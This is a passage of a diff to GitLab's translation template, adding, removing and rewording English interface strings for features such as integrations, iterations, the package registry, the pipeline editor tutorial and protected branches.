-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17932,12 +17614,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17962,9 +17656,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18115,6 +17806,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18190,25 +17884,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18217,13 +17893,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18244,7 +17917,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18253,9 +17926,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18280,6 +17950,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18691,18 +18364,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18712,6 +18403,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18724,6 +18418,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18742,9 +18442,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18844,9 +18550,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18895,6 +18607,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18985,9 +18700,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19015,18 +18727,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19138,9 +18838,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19300,9 +18997,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19534,9 +19228,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19744,6 +19435,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19972,6 +19666,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20206,6 +19903,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20224,9 +19930,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20446,9 +20149,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20518,6 +20218,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20539,6 +20242,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20551,6 +20257,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20611,9 +20320,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21391,9 +21097,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21535,9 +21238,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21796,9 +21496,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21973,9 +21670,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22024,7 +21718,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22081,13 +21775,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22285,9 +21979,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22306,7 +21997,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22615,9 +22306,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22804,9 +22492,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22945,9 +22630,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23584,10 +23266,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23665,6 +23347,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23695,6 +23380,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23719,9 +23410,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23773,6 +23461,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23782,15 +23473,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23836,6 +23527,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23866,6 +23563,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24058,9 +23761,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24265,10 +23965,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24280,9 +23980,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24292,16 +23989,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24421,10 +24124,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24442,12 +24145,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24559,9 +24268,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24712,13 +24418,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24763,10 +24469,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24778,6 +24484,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25390,6 +25102,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25675,9 +25390,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25705,6 +25417,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25717,9 +25432,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25768,15 +25480,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25825,9 +25531,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26443,9 +26146,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26461,9 +26161,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26548,21 +26245,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26578,18 +26272,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26605,9 +26290,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26620,6 +26302,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26635,7 +26320,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26644,6 +26329,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26653,9 +26341,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26674,9 +26359,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26800,13 +26482,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26827,12 +26512,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26842,6 +26536,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26851,12 +26548,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26902,18 +26602,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27319,6 +27031,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27346,6 +27061,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27526,6 +27244,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27541,15 +27262,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27565,9 +27280,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27715,15 +27427,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27733,15 +27448,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28147,6 +27853,9 @@ msgstr[2] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28297,12 +28006,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
